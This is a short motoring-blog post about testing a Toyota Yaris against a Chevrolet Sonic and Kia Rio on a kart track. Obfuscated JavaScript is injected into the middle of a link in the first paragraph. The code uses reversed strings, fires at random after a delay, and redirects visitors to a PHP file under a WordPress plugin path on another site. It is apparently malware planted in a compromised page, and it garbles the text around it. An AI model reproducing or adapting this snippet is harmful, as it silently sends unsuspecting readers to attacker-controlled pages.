The Management Fleet. Toyota Yaris. Track Action

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Our pocket rocket (well, sort of) took a short trip from C&P Towers to the headquarters of Evo Middle East for a three-car test on a racetrack. This was no ordinary racetrack – a lap of the Dubai Autodrome or Yas Marina in a Yaris would probably be timed in hours. No, this was a track of appropriate scale for our 83bhp weapon – a kart track, namely Al Ain Raceway, home of last year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and_final.html” target=”_blank”>Rotax Max Challenge World Finals.

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This was a chance to see how well the Yaris – along with a Chevrolet Sonic and Kia Rio – could perform dynamically, to see whether it’s possible to have fun for $15,000. And after an afternoon of wanging all three about, the answer was yes. It is.

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Of the three, the Yaris was the least exciting to look at and sit in, but to drive it knocked the other two into a cocked hat. It’s got a sharp throttle, a fizzy, eager little engine and is quite happy to be thrashed about on the tight and twisting track, with plenty of flat out straights, hard braking and mid-corner adjustments on the right-hand pedal.

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It stayed the flattest and most composed through the corners of the three and was the one that all of us present agreed would be our pint-sized weapon of choice.

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And it even acted as a camera car for our snapper Moe. What more could we want? >>>

Categories: Fast Fleet

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